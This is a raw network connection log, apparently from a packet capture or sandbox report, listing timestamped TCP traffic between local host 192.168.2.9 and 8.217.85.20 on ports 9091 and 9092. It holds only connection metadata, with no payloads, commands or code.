Jan 10, 2025 07:52:36.994961977 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:36.999824047 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:37.903704882 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:37.904135942 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:37.908952951 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:37.908977985 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:37.908986092 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231614113 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231642008 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231656075 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231741905 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231753111 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231760025 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231812000 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.231812000 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.231904984 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231918097 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.231929064 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.232050896 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.232063055 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.232069016 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.232106924 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.236624002 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.236728907 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.465956926 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.465977907 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.465991020 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466048002 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466073036 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.466113091 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466126919 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466169119 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.466169119 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.466255903 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466269016 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466342926 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.466929913 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466964960 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.466976881 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.467015982 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.467170954 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.467231989 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.467653990 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.467667103 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.467679977 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.467789888 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.467791080 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.467804909 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.468170881 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.468420982 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.468549013 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.468558073 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.468560934 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.468573093 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.468615055 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.468700886 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.468832970 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.469336987 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.470946074 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.471036911 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.700191975 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700211048 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700246096 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700303078 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700314999 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700355053 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.700438023 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700449944 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700459957 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700545073 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.700545073 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.700545073 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.700680971 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700731993 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700742960 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700936079 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700947046 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700958014 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.700973034 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.700973034 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.701061010 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.701102972 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701112986 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701231003 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701241970 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.701268911 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701278925 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701337099 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.701452017 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701462984 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701473951 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701484919 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701528072 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.701528072 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.701647997 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701658964 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.701745033 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702017069 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702028036 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702039003 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702069044 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702111006 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702130079 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702141047 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702152014 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702162981 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702217102 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702217102 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702414036 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702425003 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702435970 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702446938 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702457905 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702490091 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702490091 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.702934980 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702953100 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702963114 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.702989101 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.703026056 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935022116 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935044050 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935055017 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935095072 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935096025 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935110092 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935152054 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935229063 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935239077 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935251951 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935288906 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935288906 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935425997 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935437918 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935492992 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935559988 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935570955 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935581923 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935591936 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935625076 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935671091 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935702085 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935718060 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935785055 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935787916 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935796976 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935808897 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935821056 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935832024 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.935841084 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.935935974 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936117887 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936129093 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936172009 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936181068 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936193943 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936204910 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936220884 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936229944 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936233044 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936266899 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936312914 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936552048 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936563015 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936573982 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936594963 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936698914 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936709881 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936716080 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936728001 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936822891 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936952114 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936963081 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936974049 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936984062 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.936992884 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.936995029 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937007904 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937052011 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937052011 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937202930 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937251091 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937271118 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937282085 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937315941 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937402964 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937407017 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937410116 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937417030 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937453032 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937474966 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937661886 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937673092 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937688112 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937689066 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937694073 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937704086 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937716007 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.937721014 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937732935 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.937781096 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.938064098 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.938071966 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:38.938126087 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:38.979476929 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.021477938 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.073026896 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169063091 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169090986 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169101000 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169112921 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169125080 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169142008 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169154882 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169203043 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169209957 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169320107 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169331074 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169342995 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169373035 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169385910 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169461012 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169472933 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169518948 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169523001 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169529915 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169578075 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169718981 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169729948 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169743061 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169754028 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169765949 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169775009 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169796944 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.169972897 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.169986010 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170016050 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170093060 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170104027 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170116901 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170134068 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170173883 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170245886 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170257092 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170298100 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170300961 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170310020 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170321941 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170334101 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170350075 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170376062 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170527935 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170588970 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170599937 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170631886 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170723915 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170736074 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170747042 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170758963 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.170759916 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170779943 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.170999050 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.171010017 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.171020031 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.171036005 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.171051025 CET	9091	49931	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:39.171056986 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.171082973 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:39.171103954 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:40.214736938 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:40.219582081 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:40.219683886 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:42.198724985 CET	49931	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:47.389605045 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:47.394617081 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:47.394635916 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:47.394646883 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:47.394661903 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:47.714430094 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:47.719305038 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:47.724159956 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:56.076194048 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:56.081053019 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:56.402666092 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:52:56.448055983 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:56.528599977 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:52:56.533520937 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:12.307651997 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:12.312589884 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:12.632009983 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:12.682611942 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:12.754934072 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:12.760063887 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:28.417315006 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:28.422167063 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:28.735097885 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:28.776376009 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:28.835227013 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:28.840293884 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:44.651477098 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:44.657896042 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:44.972515106 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:53:45.026366949 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:45.047559977 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:53:45.052778006 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:00.903103113 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:00.903103113 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:00.908124924 CET	9091	49952	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:00.908277035 CET	49952	9091	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:02.870609999 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:02.875515938 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:02.876473904 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:10.605611086 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:10.610680103 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:10.610702038 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:10.610714912 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:10.610918045 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:11.166776896 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:11.167711020 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:11.172642946 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:19.620784044 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:19.625718117 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:19.948311090 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:20.005378962 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:20.091123104 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:20.095966101 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:36.182859898 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:36.187805891 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:36.510492086 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:36.557607889 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:36.622989893 CET	49984	9092	192.168.2.9	8.217.85.20
Jan 10, 2025 07:54:36.628153086 CET	9092	49984	8.217.85.20	192.168.2.9
Jan 10, 2025 07:54:51.948463917 CET	49984	9092	192.168.2.9	8.217.85.20
